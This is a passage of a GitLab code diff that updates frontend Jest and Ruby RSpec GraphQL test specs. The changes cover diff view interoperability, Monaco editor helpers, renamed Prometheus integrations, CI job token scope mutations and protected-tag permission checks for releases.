@@ -247,7 +247,7 @@ describe('Security reports app', () => {
});
it('renders the download dropdown', () => {
- expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownProps);
+ expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownPropsWithText);
});
});
diff --git a/spec/frontend/vuex_shared/bindings_spec.js b/spec/frontend/vuex_shared/bindings_spec.js
index 0f91a09018f..4e210143c8c 100644
--- a/spec/frontend/vuex_shared/bindings_spec.js
+++ b/spec/frontend/vuex_shared/bindings_spec.js
@@ -3,7 +3,7 @@ import { mapComputed } from '~/vuex_shared/bindings';
describe('Binding utils', () => {
describe('mapComputed', () => {
- const defaultArgs = [['baz'], 'bar', 'foo'];
+ const defaultArgs = [['baz'], 'bar', 'foo', 'qux'];
const createDummy = (mapComputedArgs = defaultArgs) => ({
computed: {
@@ -29,12 +29,18 @@ describe('Binding utils', () => {
},
};
- it('returns an object with keys equal to the first fn parameter ', () => {
+ it('returns an object with keys equal to the first fn parameter', () => {
const keyList = ['foo1', 'foo2'];
const result = mapComputed(keyList, 'foo', 'bar');
expect(Object.keys(result)).toEqual(keyList);
});
+ it('returns an object with keys equal to the first fn parameter when the root is a function', () => {
+ const keyList = ['foo1', 'foo2'];
+ const result = mapComputed(keyList, 'foo', (state) => state.bar);
+ expect(Object.keys(result)).toEqual(keyList);
+ });
+
it('returned object has set and get function', () => {
const result = mapComputed(['baz'], 'foo', 'bar');
expect(result.baz.set).toBeDefined();
diff --git a/spec/frontend_integration/diffs/diffs_interopability_spec.js b/spec/frontend_integration/diffs/diffs_interopability_spec.js
index cb7659e16d3..448641ed834 100644
--- a/spec/frontend_integration/diffs/diffs_interopability_spec.js
+++ b/spec/frontend_integration/diffs/diffs_interopability_spec.js
@@ -8,15 +8,6 @@ import {
getCodeElementFromLineNumber,
} from './diffs_interopability_api';
-jest.mock('~/vue_shared/mixins/gl_feature_flags_mixin', () => () => ({
- inject: {
- glFeatures: {
- from: 'window.gon.features',
- default: () => global.window.gon?.features,
- },
- },
-}));
-
const TEST_PROJECT_PATH = 'gitlab-org/gitlab-test';
const TEST_BASE_URL = `/${TEST_PROJECT_PATH}/-/merge_requests/1/`;
const TEST_DIFF_FILE = 'files/js/commit.coffee';
@@ -114,48 +105,41 @@ describe('diffs third party interoperability', () => {
);
describe.each`
- desc | unifiedDiffComponents | view | rowSelector | codeSelector | expectation
- ${'inline view'} | ${false} | ${'inline'} | ${'tr.line_holder'} | ${'td.line_content'} | ${EXPECT_INLINE}
- ${'parallel view left side'} | ${false} | ${'parallel'} | ${'tr.line_holder'} | ${'td.line_content.left-side'} | ${EXPECT_PARALLEL_LEFT_SIDE}
- ${'parallel view right side'} | ${false} | ${'parallel'} | ${'tr.line_holder'} | ${'td.line_content.right-side'} | ${EXPECT_PARALLEL_RIGHT_SIDE}
- ${'inline view'} | ${true} | ${'inline'} | ${'.diff-tr.line_holder'} | ${'.diff-td.line_content'} | ${EXPECT_INLINE}
- ${'parallel view left side'} | ${true} | ${'parallel'} | ${'.diff-tr.line_holder'} | ${'.diff-td.line_content.left-side'} | ${EXPECT_PARALLEL_LEFT_SIDE}
- ${'parallel view right side'} | ${true} | ${'parallel'} | ${'.diff-tr.line_holder'} | ${'.diff-td.line_content.right-side'} | ${EXPECT_PARALLEL_RIGHT_SIDE}
- `(
- '$desc (unifiedDiffComponents=$unifiedDiffComponents)',
- ({ unifiedDiffComponents, view, rowSelector, codeSelector, expectation }) => {
- beforeEach(async () => {
- global.jsdom.reconfigure({
- url: `${TEST_HOST}/${TEST_BASE_URL}/diffs?view=${view}`,
- });
- window.gon.features = { unifiedDiffComponents };
-
- vm = startDiffsApp();
-
- await waitFor(() => expect(hasLines(rowSelector)).toBe(true));
+ desc | view | rowSelector | codeSelector | expectation
+ ${'inline view'} | ${'inline'} | ${'.diff-tr.line_holder'} | ${'.diff-td.line_content'} | ${EXPECT_INLINE}
+ ${'parallel view left side'} | ${'parallel'} | ${'.diff-tr.line_holder'} | ${'.diff-td.line_content.left-side'} | ${EXPECT_PARALLEL_LEFT_SIDE}
+ ${'parallel view right side'} | ${'parallel'} | ${'.diff-tr.line_holder'} | ${'.diff-td.line_content.right-side'} | ${EXPECT_PARALLEL_RIGHT_SIDE}
+ `('$desc', ({ view, rowSelector, codeSelector, expectation }) => {
+ beforeEach(async () => {
+ global.jsdom.reconfigure({
+ url: `${TEST_HOST}/${TEST_BASE_URL}/diffs?view=${view}`,
});
- it('should match diff model', () => {
- const lines = findLineElements(rowSelector);
- const codes = findCodeElements(lines, codeSelector);
+ vm = startDiffsApp();
- expect(getCodeElementsInteropModel(codes)).toEqual(expectation);
- });
+ await waitFor(() => expect(hasLines(rowSelector)).toBe(true));
+ });
+
+ it('should match diff model', () => {
+ const lines = findLineElements(rowSelector);
+ const codes = findCodeElements(lines, codeSelector);
+
+ expect(getCodeElementsInteropModel(codes)).toEqual(expectation);
+ });
- it.each`
- lineNumber | part | expectedText
- ${4} | ${'base'} | ${'new CommitFile(this)'}
- ${4} | ${'head'} | ${'new CommitFile(@)'}
- ${2} | ${'base'} | ${'constructor: ->'}
- ${2} | ${'head'} | ${'constructor: ->'}
- `(
- 'should find code element lineNumber=$lineNumber part=$part',
- ({ lineNumber, part, expectedText }) => {
- const codeElement = getCodeElementFromLineNumber(findDiffFile(), lineNumber, part);
-
- expect(codeElement.textContent.trim()).toBe(expectedText);
- },
- );
- },
- );
+ it.each`
+ lineNumber | part | expectedText
+ ${4} | ${'base'} | ${'new CommitFile(this)'}
+ ${4} | ${'head'} | ${'new CommitFile(@)'}
+ ${2} | ${'base'} | ${'constructor: ->'}
+ ${2} | ${'head'} | ${'constructor: ->'}
+ `(
+ 'should find code element lineNumber=$lineNumber part=$part',
+ ({ lineNumber, part, expectedText }) => {
+ const codeElement = getCodeElementFromLineNumber(findDiffFile(), lineNumber, part);
+
+ expect(codeElement.textContent.trim()).toBe(expectedText);
+ },
+ );
+ });
});
diff --git a/spec/frontend_integration/ide/helpers/ide_helper.js b/spec/frontend_integration/ide/helpers/ide_helper.js
index 6c09b44d891..56b2e298aa3 100644
--- a/spec/frontend_integration/ide/helpers/ide_helper.js
+++ b/spec/frontend_integration/ide/helpers/ide_helper.js
@@ -7,6 +7,7 @@ import {
screen,
findByText,
} from '@testing-library/dom';
+import { editor as monacoEditor } from 'monaco-editor';
const isFolderRowOpen = (row) => row.matches('.folder.is-open');
@@ -23,7 +24,10 @@ export const switchLeftSidebarTab = (name) => {
export const getStatusBar = () => document.querySelector('.ide-status-bar');
export const waitForMonacoEditor = () =>
- new Promise((resolve) => window.monaco.editor.onDidCreateEditor(resolve));
+ new Promise((resolve) => monacoEditor.onDidCreateEditor(resolve));
+
+export const waitForEditorDispose = (instance) =>
+ new Promise((resolve) => instance.onDidDispose(resolve));
export const waitForEditorModelChange = (instance) =>
new Promise((resolve) => instance.onDidChangeModel(resolve));
@@ -38,14 +42,14 @@ export const findAndSetEditorValue = async (value) => {
const editor = await findMonacoEditor();
const uri = editor.getAttribute('data-uri');
- window.monaco.editor.getModel(uri).setValue(value);
+ monacoEditor.getModel(uri).setValue(value);
};
export const getEditorValue = async () => {
const editor = await findMonacoEditor();
const uri = editor.getAttribute('data-uri');
- return window.monaco.editor.getModel(uri).getValue();
+ return monacoEditor.getModel(uri).getValue();
};
const findTreeBody = () => screen.findByTestId('ide-tree-body');
diff --git a/spec/frontend_integration/test_helpers/mock_server/routes/diffs.js b/spec/frontend_integration/test_helpers/mock_server/routes/diffs.js
index 8301627e842..eccdce268f0 100644
--- a/spec/frontend_integration/test_helpers/mock_server/routes/diffs.js
+++ b/spec/frontend_integration/test_helpers/mock_server/routes/diffs.js
@@ -12,10 +12,7 @@ export default (server) => {
return {
...result,
pagination: withValues(pagination, {
- current_page: null,
- next_page: null,
total_pages: 1,
- next_page_href: null,
}),
};
});
diff --git a/spec/frontend_integration/test_helpers/setup/setup_mock_server.js b/spec/frontend_integration/test_helpers/setup/setup_mock_server.js
index 43a21deed25..6f4832992a5 100644
--- a/spec/frontend_integration/test_helpers/setup/setup_mock_server.js
+++ b/spec/frontend_integration/test_helpers/setup/setup_mock_server.js
@@ -7,6 +7,16 @@ beforeEach(() => {
const server = createMockServer();
server.logging = false;
+ server.pretender.handledRequest = (verb, path, { status, responseText }) => {
+ if (status >= 500) {
+ // eslint-disable-next-line no-console
+ console.log(`
+The mock server returned status ${status} with "${verb} ${path}":
+
+${JSON.stringify({ responseText }, null, 2)}
+`);
+ }
+ };
global.mockServer = server;
});
diff --git a/spec/frontend_integration/test_helpers/setup/setup_testing_library.js b/spec/frontend_integration/test_helpers/setup/setup_testing_library.js
index 5081b1c3b62..adc59665306 100644
--- a/spec/frontend_integration/test_helpers/setup/setup_testing_library.js
+++ b/spec/frontend_integration/test_helpers/setup/setup_testing_library.js
@@ -1,3 +1,15 @@
import { configure } from '@testing-library/dom';
-configure({ asyncUtilTimeout: 10000 });
+const CUSTOM_ERROR_TYPE = 'TestingLibraryError';
+
+configure({
+ asyncUtilTimeout: 10000,
+ // Overwrite default error message to reduce noise.
+ getElementError: (messageArg) => {
+ // Add to message because the `name` doesn't look like it's used (although it should).
+ const message = `${CUSTOM_ERROR_TYPE}:\n\n${messageArg}`;
+ const error = new Error(message);
+ error.name = CUSTOM_ERROR_TYPE;
+ return error;
+ },
+});
diff --git a/spec/graphql/features/authorization_spec.rb b/spec/graphql/features/authorization_spec.rb
index 64e423e2bf8..0dc3a9c85e7 100644
--- a/spec/graphql/features/authorization_spec.rb
+++ b/spec/graphql/features/authorization_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'DeclarativePolicy authorization in GraphQL ' do
include Graphql::ResolverFactories
let_it_be(:user) { create(:user) }
+
let(:permission_single) { :foo }
let(:permission_collection) { [:foo, :bar] }
let(:test_object) { double(name: 'My name') }
diff --git a/spec/graphql/features/feature_flag_spec.rb b/spec/graphql/features/feature_flag_spec.rb
index 30238cf9cb3..e5560fccf89 100644
--- a/spec/graphql/features/feature_flag_spec.rb
+++ b/spec/graphql/features/feature_flag_spec.rb
@@ -28,14 +28,25 @@ RSpec.describe 'Graphql Field feature flags' do
end
end
- it 'returns the value when feature is enabled' do
- expect(subject['item']).to eq('name' => test_object.name)
+ it 'checks YAML definition for default_enabled' do
+ # Exception is indicative of a check for YAML definition
+ expect { subject }.to raise_error(Feature::InvalidFeatureFlagError, /The feature flag YAML definition for '#{feature_flag}' does not exist/)
end
- it 'returns nil when the feature is disabled' do
- stub_feature_flags(feature_flag => false)
+ context 'skipping YAML check' do
+ before do
+ skip_default_enabled_yaml_check
+ end
+
+ it 'returns the value when feature is enabled' do
+ expect(subject['item']).to eq('name' => test_object.name)
+ end
- expect(subject).to be_nil
+ it 'returns nil when the feature is disabled' do
+ stub_feature_flags(feature_flag => false)
+
+ expect(subject).to be_nil
+ end
end
end
end
diff --git a/spec/graphql/gitlab_schema_spec.rb b/spec/graphql/gitlab_schema_spec.rb
index 1f2c518f83c..06505536b09 100644
--- a/spec/graphql/gitlab_schema_spec.rb
+++ b/spec/graphql/gitlab_schema_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe GitlabSchema do
let_it_be(:connections) { GitlabSchema.connections.all_wrappers }
+
let(:user) { build :user }
it 'uses batch loading' do
diff --git a/spec/graphql/mutations/alert_management/prometheus_integration/create_spec.rb b/spec/graphql/mutations/alert_management/prometheus_integration/create_spec.rb
index 7ab0f43d674..164bd9b1e39 100644
--- a/spec/graphql/mutations/alert_management/prometheus_integration/create_spec.rb
+++ b/spec/graphql/mutations/alert_management/prometheus_integration/create_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe Mutations::AlertManagement::PrometheusIntegration::Create do
end
context 'when Prometheus Integration already exists' do
- let_it_be(:existing_integration) { create(:prometheus_service, project: project) }
+ let_it_be(:existing_integration) { create(:prometheus_integration, project: project) }
it 'returns errors' do
expect(resolve).to eq(
@@ -32,7 +32,7 @@ RSpec.describe Mutations::AlertManagement::PrometheusIntegration::Create do
context 'when UpdateService responds with success' do
it 'returns the integration with no errors' do
expect(resolve).to eq(
- integration: ::PrometheusService.last!,
+ integration: ::Integrations::Prometheus.last!,
errors: []
)
end
diff --git a/spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb b/spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb
index c9e1bf4162c..be07c142f4e 100644
--- a/spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb
+++ b/spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Mutations::AlertManagement::PrometheusIntegration::ResetToken do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project) }
- let_it_be(:integration) { create(:prometheus_service, project: project) }
+ let_it_be(:integration) { create(:prometheus_integration, project: project) }
let(:args) { { id: GitlabSchema.id_from_object(integration) } }
diff --git a/spec/graphql/mutations/alert_management/prometheus_integration/update_spec.rb b/spec/graphql/mutations/alert_management/prometheus_integration/update_spec.rb
index 19e0d53b75f..81d057c6ae2 100644
--- a/spec/graphql/mutations/alert_management/prometheus_integration/update_spec.rb
+++ b/spec/graphql/mutations/alert_management/prometheus_integration/update_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Mutations::AlertManagement::PrometheusIntegration::Update do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project) }
- let_it_be(:integration) { create(:prometheus_service, project: project) }
+ let_it_be(:integration) { create(:prometheus_integration, project: project) }
let(:args) { { id: GitlabSchema.id_from_object(integration), active: false, api_url: 'http://new-url.com' } }
diff --git a/spec/graphql/mutations/ci/job_token_scope/add_project_spec.rb b/spec/graphql/mutations/ci/job_token_scope/add_project_spec.rb
new file mode 100644
index 00000000000..412be5f16a4
--- /dev/null
+++ b/spec/graphql/mutations/ci/job_token_scope/add_project_spec.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe Mutations::Ci::JobTokenScope::AddProject do
+ let(:mutation) do
+ described_class.new(object: nil, context: { current_user: current_user }, field: nil)
+ end
+
+ describe '#resolve' do
+ let_it_be(:project) do
+ create(:project, ci_job_token_scope_enabled: true).tap(&:save!)
+ end
+
+ let_it_be(:target_project) { create(:project) }
+
+ let(:target_project_path) { target_project.full_path }
+
+ subject do
+ mutation.resolve(project_path: project.full_path, target_project_path: target_project_path)
+ end
+
+ context 'when user is not logged in' do
+ let(:current_user) { nil }
+
+ it 'raises error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+
+ context 'when user is logged in' do
+ let(:current_user) { create(:user) }
+
+ context 'when user does not have permissions to admin project' do
+ it 'raises error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+
+ context 'when user has permissions to admin project and read target project' do
+ before do
+ project.add_maintainer(current_user)
+ target_project.add_guest(current_user)
+ end
+
+ it 'adds target project to the job token scope' do
+ expect do
+ expect(subject).to include(ci_job_token_scope: be_present, errors: be_empty)
+ end.to change { Ci::JobToken::ProjectScopeLink.count }.by(1)
+ end
+
+ context 'when the service returns an error' do
+ let(:service) { double(:service) }
+
+ it 'returns an error response' do
+ expect(::Ci::JobTokenScope::AddProjectService).to receive(:new).with(project, current_user).and_return(service)
+ expect(service).to receive(:execute).with(target_project).and_return(ServiceResponse.error(message: 'The error message'))
+
+ expect(subject.fetch(:ci_job_token_scope)).to be_nil
+ expect(subject.fetch(:errors)).to include("The error message")
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/graphql/mutations/ci/job_token_scope/remove_project_spec.rb b/spec/graphql/mutations/ci/job_token_scope/remove_project_spec.rb
new file mode 100644
index 00000000000..0e706ea6e0c
--- /dev/null
+++ b/spec/graphql/mutations/ci/job_token_scope/remove_project_spec.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe Mutations::Ci::JobTokenScope::RemoveProject do
+ let(:mutation) do
+ described_class.new(object: nil, context: { current_user: current_user }, field: nil)
+ end
+
+ describe '#resolve' do
+ let_it_be(:project) { create(:project, ci_job_token_scope_enabled: true).tap(&:save!) }
+ let_it_be(:target_project) { create(:project) }
+
+ let_it_be(:link) do
+ create(:ci_job_token_project_scope_link,
+ source_project: project,
+ target_project: target_project)
+ end
+
+ let(:target_project_path) { target_project.full_path }
+
+ subject do
+ mutation.resolve(project_path: project.full_path, target_project_path: target_project_path)
+ end
+
+ context 'when user is not logged in' do
+ let(:current_user) { nil }
+
+ it 'raises error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+
+ context 'when user is logged in' do
+ let(:current_user) { create(:user) }
+
+ context 'when user does not have permissions to admin project' do
+ it 'raises error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+
+ context 'when user has permissions to admin project and read target project' do
+ before do
+ project.add_maintainer(current_user)
+ target_project.add_guest(current_user)
+ end
+
+ it 'removes target project from the job token scope' do
+ expect do
+ expect(subject).to include(ci_job_token_scope: be_present, errors: be_empty)
+ end.to change { Ci::JobToken::ProjectScopeLink.count }.by(-1)
+ end
+
+ context 'when the service returns an error' do
+ let(:service) { double(:service) }
+
+ it 'returns an error response' do
+ expect(::Ci::JobTokenScope::RemoveProjectService).to receive(:new).with(project, current_user).and_return(service)
+ expect(service).to receive(:execute).with(target_project).and_return(ServiceResponse.error(message: 'The error message'))
+
+ expect(subject.fetch(:ci_job_token_scope)).to be_nil
+ expect(subject.fetch(:errors)).to include("The error message")
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/graphql/mutations/custom_emoji/create_spec.rb b/spec/graphql/mutations/custom_emoji/create_spec.rb
index 118c5d67188..7c98e53a72c 100644
--- a/spec/graphql/mutations/custom_emoji/create_spec.rb
+++ b/spec/graphql/mutations/custom_emoji/create_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Mutations::CustomEmoji::Create do
let_it_be(:group) { create(:group) }
let_it_be(:user) { create(:user) }
+
let(:args) { { group_path: group.full_path, name: 'tanuki', url: 'https://about.gitlab.com/images/press/logo/png/gitlab-icon-rgb.png' } }
before do
diff --git a/spec/graphql/mutations/discussions/toggle_resolve_spec.rb b/spec/graphql/mutations/discussions/toggle_resolve_spec.rb
index 162b1249ab5..b03c6cb094f 100644
--- a/spec/graphql/mutations/discussions/toggle_resolve_spec.rb
+++ b/spec/graphql/mutations/discussions/toggle_resolve_spec.rb
@@ -140,6 +140,7 @@ RSpec.describe Mutations::Discussions::ToggleResolve do
context 'when discussion is on a merge request' do
let_it_be(:noteable) { create(:merge_request, source_project: project) }
+
let(:discussion) { create(:diff_note_on_merge_request, noteable: noteable, project: project).to_discussion }
it_behaves_like 'a working resolve method'
@@ -147,6 +148,7 @@ RSpec.describe Mutations::Discussions::ToggleResolve do
context 'when discussion is on a design' do
let_it_be(:noteable) { create(:design, :with_file, issue: create(:issue, project: project)) }
+
let(:discussion) { create(:diff_note_on_design, noteable: noteable, project: project).to_discussion }
it_behaves_like 'a working resolve method'
diff --git a/spec/graphql/mutations/environments/canary_ingress/update_spec.rb b/spec/graphql/mutations/environments/canary_ingress/update_spec.rb
index c022828cf09..2715a908f85 100644
--- a/spec/graphql/mutations/environments/canary_ingress/update_spec.rb
+++ b/spec/graphql/mutations/environments/canary_ingress/update_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Mutations::Environments::CanaryIngress::Update do
let_it_be(:environment) { create(:environment, project: project) }
let_it_be(:maintainer) { create(:user) }
let_it_be(:reporter) { create(:user) }
+
let(:user) { maintainer }
subject(:mutation) { described_class.new(object: nil, context: { current_user: user }, field: nil) }
diff --git a/spec/graphql/mutations/issues/create_spec.rb b/spec/graphql/mutations/issues/create_spec.rb
index b32f0991959..0e7ef0e55b9 100644
--- a/spec/graphql/mutations/issues/create_spec.rb
+++ b/spec/graphql/mutations/issues/create_spec.rb
@@ -50,6 +50,7 @@ RSpec.describe Mutations::Issues::Create do
stub_licensed_features(multiple_issue_assignees: false, issue_weights: false)
project.add_guest(assignee1)
project.add_guest(assignee2)
+ stub_spam_services
end
subject { mutation.resolve(**mutation_params) }
diff --git a/spec/graphql/mutations/issues/set_confidential_spec.rb b/spec/graphql/mutations/issues/set_confidential_spec.rb
index c3269e5c0c0..495b8442d95 100644
--- a/spec/graphql/mutations/issues/set_confidential_spec.rb
+++ b/spec/graphql/mutations/issues/set_confidential_spec.rb
@@ -17,6 +17,10 @@ RSpec.describe Mutations::Issues::SetConfidential do
subject { mutation.resolve(project_path: project.full_path, iid: issue.iid, confidential: confidential) }
+ before do
+ stub_spam_services
+ end
+
it_behaves_like 'permission level for issue mutation is correctly verified'
context 'when the user can update the issue' do
diff --git a/spec/graphql/mutations/issues/set_severity_spec.rb b/spec/graphql/mutations/issues/set_severity_spec.rb
index 7698118ae3e..7ce9c7f6621 100644
--- a/spec/graphql/mutations/issues/set_severity_spec.rb
+++ b/spec/graphql/mutations/issues/set_severity_spec.rb
@@ -5,12 +5,13 @@ require 'spec_helper'
RSpec.describe Mutations::Issues::SetSeverity do
let_it_be(:user) { create(:user) }
let_it_be(:issue) { create(:incident) }
+
let(:mutation) { described_class.new(object: nil, context: { current_user: user }, field: nil) }
specify { expect(described_class).to require_graphql_authorizations(:update_issue) }
describe '#resolve' do
- let(:severity) { 'CRITICAL' }
+ let(:severity) { 'critical' }
let(:mutated_incident) { subject[:issue] }
subject(:resolve) { mutation.resolve(project_path: issue.project.full_path, iid: issue.iid, severity: severity) }
diff --git a/spec/graphql/mutations/issues/update_spec.rb b/spec/graphql/mutations/issues/update_spec.rb
index bd780477658..80f43338bb5 100644
--- a/spec/graphql/mutations/issues/update_spec.rb
+++ b/spec/graphql/mutations/issues/update_spec.rb
@@ -35,6 +35,10 @@ RSpec.describe Mutations::Issues::Update do
subject { mutation.resolve(**mutation_params) }
+ before do
+ stub_spam_services
+ end
+
it_behaves_like 'permission level for issue mutation is correctly verified'
context 'when the user can update the issue' do
diff --git a/spec/graphql/mutations/labels/create_spec.rb b/spec/graphql/mutations/labels/create_spec.rb
index b2dd94f31bb..53a17041125 100644
--- a/spec/graphql/mutations/labels/create_spec.rb
+++ b/spec/graphql/mutations/labels/create_spec.rb
@@ -45,6 +45,7 @@ RSpec.describe Mutations::Labels::Create do
context 'when creating a project label' do
let_it_be(:parent) { create(:project) }
+
let(:extra_params) { { project_path: parent.full_path } }
it_behaves_like 'create labels mutation'
@@ -52,6 +53,7 @@ RSpec.describe Mutations::Labels::Create do
context 'when creating a group label' do
let_it_be(:parent) { create(:group) }
+
let(:extra_params) { { group_path: parent.full_path } }
it_behaves_like 'create labels mutation'
diff --git a/spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb b/spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb
index d88b196cbff..e78f755d5c7 100644
--- a/spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb
+++ b/spec/graphql/mutations/notes/reposition_image_diff_note_spec.rb
@@ -12,6 +12,7 @@ RSpec.describe Mutations::Notes::RepositionImageDiffNote do
let_it_be(:noteable) { create(:merge_request) }
let_it_be(:project) { noteable.project }
+
let(:note) { create(:image_diff_note_on_merge_request, noteable: noteable, project: project) }
let(:mutation) do
diff --git a/spec/graphql/mutations/release_asset_links/create_spec.rb b/spec/graphql/mutations/release_asset_links/create_spec.rb
index 089bc3d3276..eb7cbb4b789 100644
--- a/spec/graphql/mutations/release_asset_links/create_spec.rb
+++ b/spec/graphql/mutations/release_asset_links/create_spec.rb
@@ -50,6 +50,24 @@ RSpec.describe Mutations::ReleaseAssetLinks::Create do
end
end
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'does not have errors' do
+ expect(subject).to include(errors: [])
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'has an access error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+ end
+
context "when the user doesn't have access to the project" do
let(:current_user) { reporter }
diff --git a/spec/graphql/mutations/release_asset_links/delete_spec.rb b/spec/graphql/mutations/release_asset_links/delete_spec.rb
index 15d320b58ee..cda292f2ffa 100644
--- a/spec/graphql/mutations/release_asset_links/delete_spec.rb
+++ b/spec/graphql/mutations/release_asset_links/delete_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Mutations::ReleaseAssetLinks::Delete do
let_it_be(:project) { create(:project, :private, :repository) }
let_it_be_with_reload(:release) { create(:release, project: project) }
+ let_it_be(:reporter) { create(:user).tap { |u| project.add_reporter(u) } }
let_it_be(:developer) { create(:user).tap { |u| project.add_developer(u) } }
let_it_be(:maintainer) { create(:user).tap { |u| project.add_maintainer(u) } }
let_it_be_with_reload(:release_link) { create(:release_link, release: release) }
@@ -22,7 +23,7 @@ RSpec.describe Mutations::ReleaseAssetLinks::Delete do
let(:deleted_link) { subject[:link] }
context 'when the current user has access to delete the link' do
- let(:current_user) { maintainer }
+ let(:current_user) { developer }
it 'deletes the link and returns it', :aggregate_failures do
expect(deleted_link).to eq(release_link)
@@ -30,6 +31,26 @@ RSpec.describe Mutations::ReleaseAssetLinks::Delete do
expect(release.links).to be_empty
end
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'does not have errors' do
+ subject
+
+ expect(resolve).to include(errors: [])
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'raises a resource access error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+ end
+
context "when the link doesn't exist" do
let(:mutation_arguments) { super().merge(id: "gid://gitlab/Releases::Link/#{non_existing_record_id}") }
@@ -48,7 +69,7 @@ RSpec.describe Mutations::ReleaseAssetLinks::Delete do
end
context 'when the current user does not have access to delete the link' do
- let(:current_user) { developer }
+ let(:current_user) { reporter }
it 'raises an error' do
expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
diff --git a/spec/graphql/mutations/release_asset_links/update_spec.rb b/spec/graphql/mutations/release_asset_links/update_spec.rb
index 20c1c8b581c..64648687336 100644
--- a/spec/graphql/mutations/release_asset_links/update_spec.rb
+++ b/spec/graphql/mutations/release_asset_links/update_spec.rb
@@ -87,6 +87,26 @@ RSpec.describe Mutations::ReleaseAssetLinks::Update do
end
it_behaves_like 'no changes to the link except for the', :name
+
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'does not have errors' do
+ subject
+
+ expect(resolve).to include(errors: [])
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'raises a resource access error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+ end
end
context 'when nil is provided' do
diff --git a/spec/graphql/mutations/releases/create_spec.rb b/spec/graphql/mutations/releases/create_spec.rb
index 7776f968346..1f2c3ed537f 100644
--- a/spec/graphql/mutations/releases/create_spec.rb
+++ b/spec/graphql/mutations/releases/create_spec.rb
@@ -117,6 +117,28 @@ RSpec.describe Mutations::Releases::Create do
expect(new_link.filepath).to eq(expected_link[:filepath])
end
end
+
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'does not have errors' do
+ subject
+
+ expect(resolve).to include(errors: [])
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'has an access error' do
+ subject
+
+ expect(resolve).to include(errors: ['Access Denied'])
+ end
+ end
+ end
end
context "when the current user doesn't have access to create releases" do
diff --git a/spec/graphql/mutations/releases/delete_spec.rb b/spec/graphql/mutations/releases/delete_spec.rb
index bedb72b002c..d97f839ce87 100644
--- a/spec/graphql/mutations/releases/delete_spec.rb
+++ b/spec/graphql/mutations/releases/delete_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Mutations::Releases::Delete do
let_it_be(:project) { create(:project, :public, :repository) }
let_it_be(:non_project_member) { create(:user) }
+ let_it_be(:reporter) { create(:user) }
let_it_be(:developer) { create(:user) }
let_it_be(:maintainer) { create(:user) }
let_it_be(:tag) { 'v1.1.0'}
@@ -20,6 +21,7 @@ RSpec.describe Mutations::Releases::Delete do
end
before do
+ project.add_reporter(reporter)
project.add_developer(developer)
project.add_maintainer(maintainer)
end
@@ -36,7 +38,7 @@ RSpec.describe Mutations::Releases::Delete do
end
context 'when the current user has access to create releases' do
- let(:current_user) { maintainer }
+ let(:current_user) { developer }
it 'deletes the release' do
expect { subject }.to change { Release.count }.by(-1)
@@ -54,6 +56,28 @@ RSpec.describe Mutations::Releases::Delete do
expect(subject[:errors]).to eq([])
end
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'does not have errors' do
+ subject
+
+ expect(resolve).to include(errors: [])
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
